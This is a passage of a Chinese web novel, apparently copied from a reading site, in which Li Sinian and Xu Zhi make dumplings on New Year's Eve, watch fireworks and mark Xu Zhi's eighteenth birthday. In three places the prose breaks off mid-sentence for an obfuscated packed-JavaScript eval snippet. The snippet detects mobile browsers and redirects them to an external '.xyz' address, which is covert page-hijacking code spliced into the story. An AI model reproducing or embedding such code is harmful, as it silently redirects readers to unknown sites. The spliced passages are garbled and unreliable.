李斯年点头。 李倾诺彻底傻了,虽然她偶尔会怼亲哥,看似嫌弃的样子,但其实在她的心里,李斯年简直是完美六边形上帝宠儿,长得帅、性格好、成绩棒、人品佳。 这样的人,就应该是众星捧月的存在。 世界上怎么会有人不喜欢李斯年? 或者说,怎么会有人被李斯年喜欢后、没有立刻答应? 她猛然反应过来:“难道许之哥哥不知道这事儿?” 李斯年又点头。 李倾诺风中凌乱,一瞬间觉得简直不认识眼前的人是谁了:“李斯年同学,你在搞什么纯爱偶像剧,以你的性格怎么会不告白呢?” 果然知兄莫若妹,李斯年苦笑一声,“因为他不喜欢我啊,这事说起来有点复杂,说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448297|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也不懂,你千万要帮我保密啊!” 虽然李倾诺没有恋爱经验,但漫画本子看的够多,没吃过猪肉也见过猪跑,李斯年此刻温柔又带着纵容的表情让她心里蓦的冒出几个字—— 完蛋,我哥好像是传说中的恋爱脑。 还是爱惨了的那个。 “怪不得你今年不肯在孝县过年,非要回去……”李倾诺恍然,“你和爸爸在出租屋闹翻那次,也是因为这个吧?” 李宇觉得这件事难以启齿,消息封锁的很紧,连李倾诺也不知道内情。 是故她一直很奇怪,不久之前许茜刚来家里时,哥哥还和许之水火不容的模样,怎么没过多久,就为了维护他不惜与李宇大闹崩。 原来,是这么回事啊。 “嗯,不过你别去问李宇,就装不知道得了。”李斯年伸手揉揉妹妹的头。 李倾诺又重重地叹了口气,也顾不上刘海被揉乱了,虽然她是一个耽美爱好者,但或许正是因为了解、故而知道在现实世界这件事会遭到多少反对、受到多少阻碍。 同时,她也明白,李斯年是个认准了就不会轻易更改的人,他既然开口承认,就说明是认真的。 于是看向李斯年的目光带了些同情和鼓励:“那你加油啊,哥,祝早日把人追到手!” 李斯年眯眼一笑:“借你吉言!” - 李斯年二十九那天回江城时,火车上没什么人。 因为一般这种时候,务工人员都是从大城市往老家去,反过来的火车就会很空。 从过年到初一初二,江城也都是难得的半空状态。 前两年有人放烟花出过事故,所以江城也禁了私自燃放烟花炮竹,这下年味就变得更淡了。 李斯年回出租屋路上,在超市买了些面粉、肉沫和鱼,两手提着回家,透过窗看到里面亮着灯,于是也懒得掏钥匙,用手肘敲了敲门。 脚步声由远及近,门打开,许之满脸吃惊:“你怎么回了?” “回来过年啊。”李斯年这一路上就期待着看到他这个表情,得逞一笑。 “我以为你会在孝县过年。”许之接过他手里的袋子。 李斯年故意只说了自己回去看外婆、没提自己年前返程,就是为了给许之一个惊喜,但嘴上却没表露:“作业太多了,年后又要提前开学,还是先回来。” 许之拆塑料袋的手一顿,这两天借住出租屋照顾小白,似乎看到他桌上的作业都是写完了的。 不过他想不到李斯年这种事情上撒谎有什么意义,只当是自己看漏了,问:“这肉和鱼要不要放冰箱?” “不用,肉馅我等下就加点韭菜调好味,晚上包饺子。”李斯年从卫生间洗了手出来,将羽绒服外套挂好,又换上另一件在家穿的中长款。 江城的地理位置算是中部,挺尴尬的,冬天气温能到零下,但又没有统一供暖,条件好些的家里要么铺地暖、要么开暖气。 但这出租屋里自然没有那么好的条件,空调是只制冷不制热的老旧款式,唯一取暖设备就是一床电热毯。 所以哪怕门窗紧闭,屋内也还是挺冷的,李斯年搓搓冻红的耳朵,撸起袖子准备调馅儿,看似随意的说了句:“今天别走了,一起跨年呗?” 54.饺子 许之迟疑片刻:“你不回碧水名城过年吗?” 李斯年摇摇头,没有什么特别的情绪波动:“不回了。” 见李斯年已经决定了,许之便不再有什么意见,他挺能理解的,就好像自己也不回愿意回去跟许茜一起过年。 就在出租屋跟李斯年一起过,感觉也不错。 李斯年将肉馅倒入大盆里,打进去两颗鸡蛋,又加了些调味料,拿起酱油瓶的时候稍稍停顿,转过头向许之说:“这瓶用完了,我刚在超市买了新的,帮我拆一下?” “好。”许之应声,递了过去。 李斯年一手扶着碗盆、一手带着手套给肉馅搅打上劲。 尽管外套很厚,但随着他利落的动作和极有控制力的搅拌频率幅度,总让人忍不住想起夏天穿短袖时露在外面那截肌肉紧实、线条流畅的臂膀。 屋内暖光笼罩着认真下厨的少年,许之静静地看着这一幕,有种不忍打破的心情。 直到李斯年用保鲜膜封好肉馅、开始准备和面时,许之才终于上前一步:“有什么我能帮忙的吗?” “唔……你会不会和面?”李斯年问。 许之思索片刻:“没弄过,不过电视里看到过,好像就是面多加水、水多加面?” 李斯年扑哧一笑:“虽然是这么个道理,但今天我面粉买得不多,别等下弄成稀糊糊没法包了,你去收拾下餐桌,腾出点位置,等下帮我擀擀饺子皮吧。” “也行。”许之从善如流。 他把桌面清好,李斯年那边也和好了面,将面盆端过来醒,又从书桌上拿来手机支架放在餐桌一角,调出网络春晚。 时间还没到,播放的是各种耳熟能详大品牌的广告,内容都是为春节量身设计的,无论是画面还是声音都有种热闹和团圆的感觉。 就这么摆在桌上,哪怕不专门看,也会觉得屋内多了些许过年的氛围。 说起来这还是郑秀的习惯,每年的年夜家里雷打不动的成员是她、李斯年李倾诺兄妹,还有外婆。 这几人中,只有外婆会认真看春晚节目,其他人都是听着声音干自己的事儿,郑秀包饺子、李斯年玩手机、李倾诺跑来跑去,一会闹着要吃糖、一会着急饺子什么时候好。 李宇那时也很忙,除夕夜都偶尔会有应酬,但无论怎么样,总会在零点前赶回来。 彼时江城还没有禁鞭,零点跨年时在大门口放鞭炮的任务是落在家里男主人身上的。 李宇会将鞭炮平整的摆在门前,蹲下身点燃后,大笑着往后跑。 李倾诺和李斯年也会被吓得往后几步,躲在大门后边,然后探出好奇的目光。 大家捂住耳朵,等待火花蔓延到鞭炮本体,炸出金红色的花火,随之是噼里啪啦的鞭炮声。 所有人耳朵捂得更紧、眼睛却笑得更弯,你看看我、我看看你。 整片小区内的鞭炮声此起彼伏,热闹会持续到零点之后,夜色被白色的烟雾充斥,给人一种明亮几分的错觉。 李宇会和李斯年、李倾诺讲解,说这炸完的鞭炮可不能扫,得留到初一,晚饭之后家里的垃圾袋、吃剩的鱼也是。 奇奇怪怪的规矩,李斯年那时不理解、现在也不理解,但不妨碍它们已经悄无声息融入了生活、形成了习惯,成为年味的组成部分。 李斯年蹲下身,将床边和卫生间里的垃圾袋都系好。 “这是我上午刚换的,还空着。”许之不明所以。 “晚饭前得丢一次,旧的不去新的不来,晚饭后的垃圾袋就算再多,也都要留到初一后再丢。”李斯年像李宇曾今和兄妹俩解释那样,和许之说。 许之没听过这种说法,准确来说,他的生活常识其实少得可怜,关于习俗之类的更是一片空白。 毕竟从前过年时,他要么在宿舍,其他人都回家了,冷清的宿舍很没意思,他会早早休息。 要么在许贺亮家时,许贺亮妻子的厌恶太过明显、而许之本来也想避着许贺亮,故而也是自己缩在房间里刷卷子到困倦后入睡。 跨年这件事好像从来都与他无关。 所以听到李斯年说这些,他会觉得很新奇:“原来还有这种讲究。” “这种可能每个地方都不一样吧?我理解就是个提升仪式感的东西,反正不麻烦,讲究讲究着,也就习惯了。”李斯年说。 虽然习惯是把双刃剑,带来熟悉和安全感的同时,也提前预定了失去后受伤那一天的到来。 许之忽然意识到李斯年往常都是买速冻水饺,今天却大动干戈的从和面、调肉馅开始包饺子,是不是也是这样的“讲究”:“所以大年三十的晚饭也必须要吃自己包的饺子吗?” “不是。”李斯年指了指电饭煲,不知什么时候他已经蒸好了饭,“饺子是零点跨年吃的,我想着晚饭就炒饭吃,再煮个鱼汤,怎么样?年年有余嘛。” 原来大年三十的晚上可以这么丰富又忙碌,许之也被这样的氛围所感染,唇边带着淡淡的笑意:“好。” 丢完垃圾回来,李斯年先将晚饭做了,因为餐桌上已经摆上了等下擀皮、包饺子的物件,所以这顿饭二人是站在电热锅这边吃的。 刚出锅盛在碗里的炒饭还有些烫嘴,奶白色的鱼汤更是直接在锅里咕噜噜冒泡,李斯年放下的几块豆腐,吸饱了汤汁,嫩的筷子差点都夹不住。 李斯年先吃完,又把剩下的汤盛到许之碗里,留下锅底的葱姜与鱼骨头,这些明天再扔:“等下盖上盖子放着就行,怕小白会捞。” “好。”许之说。 李斯年轻车熟路的将醒好的面揉了排气,然后分成小剂子、撒上面粉。 这些事情都是小时候跟外婆学的,那时每当郑秀带他回孝县外婆家暂住时,李斯年每天最感兴趣的事情除了是在院子里玩泥巴、就是跟着外婆揉面包饺子包子。 这两件事现在看来倒颇有异曲同工之妙。 郑秀觉得男孩子没必要老往厨房跑,外婆却觉得学着做饭是好事,以后饿不着,若是遇到不会做饭的老婆,还能做给老婆吃。 李斯年每次得了外婆的支持,就冲郑秀咧嘴挑眉,一副非常恃宠而骄的模样,郑秀往往也就笑着摇摇头,随他去了。 许之洗了碗筷,拿了张纸一边擦手一边走过来。 他袖子挽到手肘处,入秋穿长袖后,原本就白皙的皮肤被养的更嫩,李斯年瞟了一眼,心想,和刚才鱼汤里的豆腐一样。 “我来擀饺子皮?”许之问。 “嗯,你会吗?”李斯年说。 许之心想着这有什么难呢,嘴上还是谦虚:“你说说看。” “常用的有两种方式,一个是右手从上面拿着擀面杖,一边擀、左手一边转动面皮,另一个难一点,两手拿擀面杖,右手往前推、左手往回收,手腕分别向外划相反方向的圆形。”李斯年边说,边一一演示了,“你看想学哪种?” 许之还以为只要把面皮放在擀面杖下面,前后一滚就好,没想到有这么多门路,顿时有点傻眼,眉头轻皱:“这么……复杂的吗?” 随后上手试了下,结果眉头皱的更深了。 他本身就是左右利手,平时做什么都是顺手轻易的,这还是头一回感到两只手仿佛都不是自己的,叫它往这边去、就非往另一边跑。 李斯年看他这受挫的模样,觉得可爱极了,声音不由得更加柔和:“实在弄不来就算了,去看看春晚,我很快就搞好了。” 许之摇头,学霸的自尊心很少受挫,一旦被打击,就是致命的。 他拿着擀面杖,一副做物理化学实验的认真模样,屏住呼吸,全神贯注、小心翼翼的发力,又的练习了好几团面,直到面皮铺满了桌面,结果—— 仍然是奇形怪状、薄厚不一,偶尔擀出个椭圆都能算是超长发挥了。 这么下去面都要被浪费光了,家里已经没有多余的面粉,许之终于叹了口气,认命道:“我、我还是来包饺子吧?” 李斯年挑眉看他:“之前包过吗?” 许之一脸英勇就义的觉悟:“你只管教就是了。” 李斯年抿嘴一笑,拿起刚才许之擀得奇形怪状的面皮,用手指捻着边缘稍稍调整成近似圆形的形状,舀了肉馅,开始示范。 他有意逗许之,一连换了七八种手法,各式各样的饺子端端正正摆上了托盘:“一折饺子、三折饺子、月牙饺子、柳叶饺子、元宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461674|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饺子、铃铛饺子、四方饺子……你要学哪个?” 许之低着头,看着这些饺子,长睫忽闪几下,抬起眼来。 “李斯年……” “嗯?” “你其实读的是育德新东方分院吧?” “哈哈哈哈哈!”李斯年忍不住大笑起来,捂着肚子后退两步,腿窝正好抵到床边,便顺势一倒,滚了半圈,“你能不能别一本正经讲这么搞笑的话,救命!” 许之眼李含着将溢未溢的笑意,双唇忍得平直,好一会才终于跟着李斯年一起笑出声来。 “你要教人还是为难人,想好了啊。”许之说完,又忍不住继续笑起来。 李斯年还是第一次见许之这样肆意的笑,整个人洋溢着生动鲜活,眼角眉梢都闪着极其明亮又漂亮的神采。 像是冬后第一朵绽放的花,在满目白雪中抖落惊心动魄的艳色。 让人心中忍不住生出采撷的冲动。 李斯年手撑着床站起来,上前两步,站定在许之面前。 许之笑意尚未敛去,弯着眼睛看他,轻轻的歪了歪脑袋,是无声的询问意味。 但李斯年没说话,只是定定的看着他。 许之心下奇怪,刚想要开口问“怎么了”,随即感觉到唇边一暖。 他怔忪一瞬,垂目看去,李斯年修长而骨节分明的手在他的唇边一抹而过。 这动作擦着暧昧不明的界限,许之脑中轰隆一热,有些搞不清楚是什么状况。 手指与唇角的接触不到一秒,但触感却异常清晰,李斯年的指腹是温暖的,还略有些粗糙。 而被碰到的那片皮肤也不知为什么,一直重播着那瞬间的触感,一次比一次清晰,以至于那抚过的暖意渐渐变成了滚烫。 许之感觉到自己屏住了呼吸,一时间不知该说些什么,下意识看向李斯年,但在四目相对的瞬间又忽然感到羞于对视,略略垂下眼,目光正好落在他嘴唇上。 此刻二人之间的距离,已经进入了彼此的个人安全范围内,许之甚至能看见李斯年嘴唇内侧微微润泽的水光。 和日常社交截然不同的亲密感不受控地从许之心中冒了出来。 随即,看到李斯年刚才拂过自己嘴角的那只手,指尖轻轻捻动了一下。 许之觉得他捻动的根本不是手指,而是自己的某根神经。 “面粉。”李斯年摊开手给他看:“估计是刚擀面皮的时候蹭到了。” “哦,可、可能是……”许之缓过神来,赶紧后退两步,拉开距离,匆忙间差点被椅子绊住,眼疾手快的扶住桌沿,才站稳。 他不知道自己现在的举动是不是狼狈、或者看上去有点奇怪,却也无心分辨,只想赶紧撇开话题。 他清了清嗓子,装作自然的随手拿了一片饺子皮:“就学那个一折饺子吧,简单点。” 李斯年没立刻回答,他的目光和平时不一样,有些深沉、意味不明,许之在这样的注视下,感觉后背都开始沁出汗来。 这样难熬的沉默持续了好几秒,李斯年才终于扬起散漫随意的笑容:“好啊,那就一折饺子,我洗个手。” 李斯年走向水龙头,就着点洗洁精洗了手,看他神色举动都恢复了正常,许之暗暗松了口气。 觉得或许是自己想太多了,李斯年是个直男,对同性之间交互的尺度把握不准确,也是很正常的事情。 李斯年来到许之侧方的位置,也拿起饺子皮,教许之怎样包。 他每做一个动作,就停下来等许之模仿,许之手有点慢、而且不熟练,偶尔做错了一步,又要扯开面皮重来。 许之为了不胡思乱想,刻意集中注意力在饺子上,并没有发现李斯年暗中将他所有表情与反应都尽收眼底—— 看他极为认真专注的神情、想要在其中找到些或许没能藏好的情绪。 李斯年感觉自己的心跳在渐渐加快,有个念头一旦冒出来就很难压制,像是烧不尽的野草,风一吹,就越发肆意的生长,连天的茂密让他甚至有些难以呼吸。 许之会不会也对自己有好感了? 他刚才明明就紧张了,是纯粹因为被触碰、还是因为触碰的人是自己? 55.烟花 饺子这东西,其实往简单里说,就是用面团把馅儿包住,只要馅儿宁多勿少、确保面皮边缘全部捏紧,下水煮的时候不散,就能吃。 许之大概学了三分钟,就会包了,虽然严格来说不算“一折饺子”,因为只能平躺、站不起来,一般小孩刚学包饺子就会包成这样。 李斯年也不嫌弃,叫他这么包就成。 一盆面和一碗馅包了满满三大盘饺子,出租屋的小冰箱差点就塞不下。 李斯年准备给梁芷打个电话,想着零点时煮饺子也给她们家煮一份,虽然孙家娟十有八九也会包,但这样算是李斯年的心意。 他电话刚播出去,就听到电话铃在门外响起,紧接着是敲门声。 “你怎么来了?”李斯年打开门,果然是梁芷。 大年夜里很冷,她穿得厚,像个小熊,一双眼在齐刘海下眨巴眨巴,显得很灵动。 “我妈说今天河边公园里会有烟花表演,斯年哥,你想去吗?”梁芷问。 “真的?”李斯年有些兴趣,转头问许之:“去不去看烟花?” 梁芷这才发现屋内有第二个人的身影,许之穿着一件灰色中领毛衣,腰间围着围裙,一边擦着手上的面粉,一边走过来:“行啊。” 看来他们已经和好了,梁芷有些庆幸,她还一直在为之前造成二人冲突而内疚。 看了眼许之这身极为居家的装扮,又觉得心里有些苦涩。 “那你们收拾下就出来,时间快到了。”梁芷说。 李斯年答了声好,也没关门,转身就换了外出的外套,许之的围裙似乎在腰后打了死结,解了半天都解不开,李斯年轻笑了声,走过去帮他解。 梁芷站在虚掩的门外,看不到里面的人,只有暖色灯光从门缝泄出,将门内人动作带来的光影变幻呈现在地面。 她听到里面不轻不重的说话声还在持续,就算不看表情也能感觉到,说话的两人都带着笑意。 “这件有点薄,万一烟花放到后半夜,会冷。”这是李斯年在说话。 一阵窸窸窣窣的声音,应该是许之听他的,换了件。 一人蹲下穿鞋时,另一人又从衣架上取了什么,往对方脖子上围。 “你冬天的衣服怎么都没有高领的,脖子不冷吗?”还是李斯年在说话。 “还好吧。”许之很随意的回答。 “以后出门记得戴围巾。”李斯年说。 梁芷还是头一回发现斯年哥有这样啰嗦的时候,都快比上孙家娟了。 二人走出来,许之几乎被李斯年给裹成了粽子,帽子和围巾齐上,只露出一双眼,挂脖的无指手套很可爱,标准“你妈觉得你冷”搭配。 反观李斯年,却是正常冬装,拉链拉到顶虽然能算是个高领,但并不贴肤,略松垮的造型很休闲,是属于要风度不要温度的穿法。 梁芷忽然福至心灵地猜测李斯年是不是故意这么做的,他就是不想让别人看到许之,毕竟许之那么好看。 真幼稚啊。 真……幸福。 梁芷被狗粮塞了满口,起了一身鸡皮疙瘩,缩了缩脖子:“走吧走吧。” 河边公园距离三岔巷子大概有两三站路,几人合计了下,与其等不知还有多久到的公交车,不如快点走过去。 烟花表演是九点开始,时间有些紧,三人加快脚步,愣是在深冬风吹的夜里走出了一身薄汗,终于踩着点来到河边公园。 这公园顾名思义,是以贯穿双城的一条长河为对称轴而建。 他们走到河上最大的桥旁,发现别说桥上了、两边的岸上都已经站满了人,就算往前挤进去,也很难得到好的观赏位置了。 “走,我们去另一处。”李斯年当下立断,带着许之和梁芷往另一个方向去,逆着人流,人越来越少,却在拨开草丛后看到一条几乎崭新的石桥。 桥比方才那条要窄小些,但周围空无一人,对于三人来说,简直是豪华VIP观赏席了。 “你怎么会知道这里有座桥?也太厉害了!”梁芷惊呼。 “今年上旬,帮生物老师带新生观察萤火虫时看到的,不过那时这座桥还在修,我也不确定现在修好了没,不过看来我赌赢了。”李斯年得意的笑了笑,又冲许之眨眨眼。 像个邀功的小朋友。 许之有点好奇:“原来城市里也能看到萤火虫吗?” 印象里那仿佛是乡野中才存在的风景。 李斯年点头:“能啊,河边公园生态保护做的一直很不错,很多年前,公园刚建成时,就有萤火虫了,我妈总是带我们几个小孩来看。” “对对对,我还记得那时候,糯糯总闹着要抓两只放在屋子里,郑姨哄了好久才哄好。”梁芷顺着说了下去。 “是啊。”李斯年皱着眉,仿佛再次听到李倾诺撒泼时的声音,“她那时候可真能哭,一哭就一两个小时,我真是脑袋都要痛了。” 说完,二人都笑了起来。 许之一旁听着,也觉得暖心,虽然李斯年母亲的去世是必然的遗憾,但好在郑秀活着时,留给李斯年的全部是关于爱与温馨的回忆。 也算是不幸中的幸运了。 “你见过萤火虫吗?”李斯年扭头问许之。 “没有。”许之只在电视里见到过,他有些向往,“要是有机会看看就好了。” “嗯,它们成群聚在一起时,是很壮观的。”李斯年想了想,“明年夏天带你来看。” 明年的夏天,他们应该已经结束高考,确定了志愿学校,即将展开新的生活。 只是这么简简单单一想,就觉得充满光明和希望。 许之掩在围巾后面的嘴角也不由自主的勾起:“好啊。” 远处一阵喧嚣传来,似乎是烟花表演发出即将开始的讯号,三人赶紧站到桥边围栏上,翘首以盼。 很快,就听到“咻”的一声,有什么窜上了天空,然后炸开巨大的烟花。 公园里观赏的人群发出惊艳的惊呼,李斯年也不由感叹:“好漂亮的烟花。” 放烟花的地点似乎距离河边公园不远,所以烟花显得格外大,几乎要占满整片天空。 有炮筒一般笔直的、也有花海一般绽开的,此起彼伏,互相交叠,爆炸声敲打着耳膜,在心底留下璀璨的震撼。 仿佛置身于彩色的银河之下。 这样浪漫的景象让李斯年心中有什么在膨胀,他忍不住暂时从烟花表演里抽出目光,稍稍扭头去看许之。 只见许之双手扶着桥边栏杆,正目不转睛的看向夜幕,烟花将他秀美的脸庞照亮,他看得很入神,嘴唇微微张,漂亮的白气随着呼吸吐出,然后消散,下颚线因为仰头而绷的更直,一半在外、一半没入围巾遮掩的阴影之中。 烟花在天边,也在许之眼里。 李斯年觉得爆炸的热气似乎近在咫尺,否则他怎么会觉得口干舌燥呢。 他将手从口袋中抽出,放在栏杆上。 家里唯一一双手套给了许之,冰冷的栏杆和空气很快就让李斯年感到手指关节变得僵硬,但他仿佛没有察觉到难受,小心翼翼的在烟花绽放的每个瞬间,将手往右侧移动。 一寸、再一寸,直到即将碰到许之裹着手套的左手。 收尾的烟花亮起,大烟花的每一簇亮光熄灭后,都在尾端再次绽放一朵小的、但完整的小烟花。 欢呼声达到高潮,李斯年终于在这时碰到了手套表面粗糙的毛线。 心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461675|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与烟花齐放,那是属于李斯年内心不为人知的浪漫,他在这一刻既懊恼手套阻挡了手的触碰,又庆幸它帮自己掩护了这份爱意。 再忍忍…… 等弄清楚,许之到底是不是也对自己有好感。 或许,就可以告白了。 “太震撼了!”烟花表演告一段落,梁芷感叹:“这次公园算是下血本,上半场就这么精彩,我更期待下半场会是什么样了。” 李斯年在许之低头之前,快速收回了自己的手,仿佛什么都没发生过,接梁芷的话:“原来分上下两个半场啊?” “嗯!新闻说中间会休息十五分钟,咱们可以到处转转……或者就在这等也行。”梁芷喜欢极了这桥和位置,听到公园里的人开始走动,她又有点担心如果离开片刻,回来后这里也会被占满。 “我都行,你呢,饿不饿?”李斯年问向许之。 许之眼角仍然弯着,刚要开口,忽然就感觉到兜里的手机开始震动。 今晚的氛围一直很好,烟火也好看,许之难得处于非常松弛的状态,甚至任性的贪恋着手套里的温暖,不太想抽出手。 他看到李斯年手放在外面,竟然侧过身,向李斯年示意自己的口袋,问:“能不能帮我看下是谁的来电?” 李斯年有点惊讶、或者说是惊喜,平日里的许之从来不会麻烦他,也不会提出什么请求。 李斯年当然满口答应,乐呵呵的从许之口袋里掏出手机,是一串没有备注的陌生号码,他竖起屏幕给许之看:“接吗?” 许之迟疑片刻,还是点头:“接吧,要是广告传销就挂掉。” 顿了顿,又补了句:“开免提就行。” 李斯年很享受这话语里非常细微的亲密感,接通电话。 “哪位?”许之稍稍靠近手机,开口。 电话那边没有声音,李斯年看了眼屏幕,确认通话是在正常进行,和许之对视一眼,双方都有些疑惑。 “您哪位?”许之抬高声音,又问。 对方终于开了口,是女人的声音:“之之?” 许之脸色一变,李斯年愣了几秒,后知后觉反应过来,这好像是许茜的声音。 许之快速将手从手套中抽出,就要往红色的挂断按钮上按去,但在距离屏幕几厘米的地方,却又顿住了。 他做了几个深呼吸,终于还是放下手,开口时声音已经完全冷了下来:“什么事。” “今天……大年三十嘛,就想给你打个电话,你在哪?”许茜声音轻柔,带着非常明显的小心与试探,仿佛那天在出租屋扯着许之衣领歇斯底里骂灾星的人不是她。 许之没有回答。 许茜等了会儿,又开口:“要不要回家?” 李斯年无声观察着许之的表情,看到他听到这句话后,脸上浮现出冷笑。 “回哪里的家。”许之问。 “碧水名城啊。”许茜说完这句,声音稍稍压低了些,“你如果是担心李叔叔也在……他这几天都在庆城应酬,初二才能回呢,对了!妈妈还给你准备了蛋糕。” “那不是……”许之话刚一出口就猛地顿住,然后改了口:“不用了。” 李斯年还在身边,他忍下了差点脱口而出的“那不是我家。” 这个话题对二人都是伤痛,而许之不想要这些话语破坏自己第一个正儿八经的除夕夜。 “我挂了。” “别、别!”许茜急道,“之之,上次的事,你别生妈妈的气,妈妈也没办法,你要理解,妈妈给你买了礼物,就原谅妈妈好不好?就当看在今天是妈妈受难日的份上……” 不知是哪个词勾起了许之不好的回忆,他脸色更差了,再次抬手,果断的挂断了电话。 56.生日 许茜在电话那头颤抖的尾音猝然停止,空气中留下尴尬的氛围,许之从李斯年手里拿过手机,将那个电话拉进了黑名单,放进口袋。 “抱歉,让你们扫兴了。”许之说。 一阵沉默中,李斯年还在思索安抚话语,是梁芷先开了口。 “没、没关系,许之哥,别放在心上。”梁芷的爸爸虽然很早就离开了家庭,但孙家娟给了她双倍的爱,她的亲情虽有遗憾却还算温暖。 心中不由得有些替许之感到难过,努力想转开话题、活跃气氛:“原来今天是你的生日啊,好巧!生日快乐!” 许之轻声“嗯”了:“谢谢你。” 其实他对过生日也没什么实感,许茜也不是年年会给他过,算是想起来就提一嘴、忘记就算了。 况且想起来的那几次,也不是什么好的回忆。 印象里,许茜是有两年将许之接回去过年的,他的生日不一定在大年三十,有时候也会在年前或年后某天。 那两年正好许茜的年底业绩不好,没有年终奖、月绩效全扣、基本工资还减半,所以年过的很寒酸。 许茜喝了点酒,又来找许之麻烦,这时候生日就不是生日了,是许茜理所当然倒苦水的时刻。 许之来不及听外面有没有孩子聚在一起放烟花和炮竹,因为许茜正将屋内锅碗瓢盆全都摔碎一地。 许之一直以来很反感许茜将生日称为“母亲受难日”,仿佛孩子就是带着原罪来到这个世界的,许茜生命里所有的苦难都要怪他。 可是明明没人询问过他的意见,或许他也根本不想被生出来呢? 这些糟糕的记忆在许之脑海中一个接一个闪过,许多细节明明没有刻意细想,却也依然清晰。 “我去买点吃的,你们有什么要带的吗?”李斯年突然开口。 “我晚上吃得很饱,带瓶营养快线就好,谢谢斯年哥。”梁芷说。 “嗯,那你呢?”李斯年问许之。 “一起去吧。”许之其实没什么想买的,只是想四处走走,或许能分散注意力。 李斯年却按住了他的肩膀:“不用,你们在这占位置吧,别耽误看下半场,我看着买。” 说完,长腿一迈,就离开了。 河边公园外就有24小时便利店,李斯年一来一回不过十分钟。 他提着一个白色塑料袋,将营养快线递给梁芷,然后拿出个方正的透明塑料盒,放在桥栏杆上。 许之愣住。 那是一个漂亮的草莓奶油蛋糕,很小巧,巴掌大。 “年三十便利店没补货,这已经是最大的蛋糕了。”李斯年语气里带着点歉意。 许之无声的叹息:“不用专门这样。” “用的,过生日怎么能没有蛋糕呢?”李斯年小心的拆开塑料盒,将一根蜡烛插在蛋糕上,用打火机点燃。 他双手捧着蛋糕,到许之面前:“来,寿星,许个愿吧。” 许之看到他一双眼弯弯的,眼神看起来非常温柔。 这温柔的眸子里映着精致小巧的奶油蛋糕、燃烧的蜡烛,还有自己。 许之忽然鼻子一酸。 他是很少流眼泪的人,因为在从前的经历里,他学到眼泪是最没有用的东西,解决不了任何事情。 所以眼眶发热的感觉是这样陌生又慌张,许之只能匆匆垂下双睫。 蜡烛兀自在眼前燃烧着,他不知怎么就想到卖火柴的小女孩。 为什么小小的火苗能带来这样巨大的幸福,他从前想不通,这一瞬间却好像能理解了。 “快许愿呀,等下蜡烛要烧光了。”李斯年笑着说。 许之被他这么一说,也有点着急,带着些无措问:“怎、怎么许愿,就这样说?” “心里默念就好,说出来会不灵,可以闭上眼睛,也可以双手合十。”李斯年说的详细又耐心。 许之点头,认认真真的照做。 他许愿用的时间并不长,不到十秒就睁开眼睛,吹灭了蜡烛。 白烟从蜡烛芯缥缈而出,像是火焰死去后释放的灵魂,许之没由来的觉得心中一空,但随即听到李斯年的声音。 “许之。”他很少有这样讲话认真又严肃的时候,声音低沉,拨动着许之的心弦,“十八岁生日快乐。” 许之看向他,喉头不自觉的滚动,一颗心越跳越快,仿佛快要从嗓子眼跳出来。 然而下一秒,那颗快跳出来的心却突然发出了不合时宜的声音——他不喜欢男生,他和我不一样,不是同性恋。 “来切蛋糕吧。”李斯年拿起塑料刀叉,递到许之手里。 “谢谢。”许之听到自己的声音有种不太自然的沙哑,他清了清嗓子,将苦涩咽了回去。 蛋糕很小,一分三块,正好吃完且不腻,刚吃下第一口,下半场的烟花表演就开始了。 除去许茜那通电话的插曲不提,这实在是一个太美好的除夕夜晚,美好到不敢相信自己也能拥有。 许之恐怕一辈子都无法忘记。 甜甜的奶油在舌尖融化,喜欢的人就在身旁,许之目光仍然落在绽放的烟花上,但心却飘到很远的地方。 是什么时候喜欢上李斯年的呢? 许之自己也不太确定。 是李斯年和李宇大吵并离家出走的夜里,他看向自己的那句“我觉得你挺好的”? 但从小到大其实夸他成绩或外表的人其实也有不少。 又或者是李斯年为了维护他,在教学楼空地上对所有人撒谎说“我是同性恋”的时候? 可是他自认为能区分感动和心动。 许之脑海中突然出现第一次见李斯年的那天。 英俊的少年脸上挂满冰霜,一身恨不得将天花板掀开的桀骜不驯,却还是咬牙按捺住了怒火,极有教养的没有立刻将许茜和他赶出门去、甚至连发火的话都是冤有头债有主地对着李宇说。 那个径直走上楼梯的背影,深深刻在了许之眼里。 或许从那时开始,他就已经没有办法忽略他的存在了。 但遗憾的是,这偏偏是自己最没有可能触碰的一个人。 在层层叠叠的烟花光芒中,热烈喧嚣的跨年氛围里,许之的心变得很安静,他闭上眼,再次默念刚才许下的生日愿望—— 希望李斯年一生平安顺遂,长寿喜乐。 - 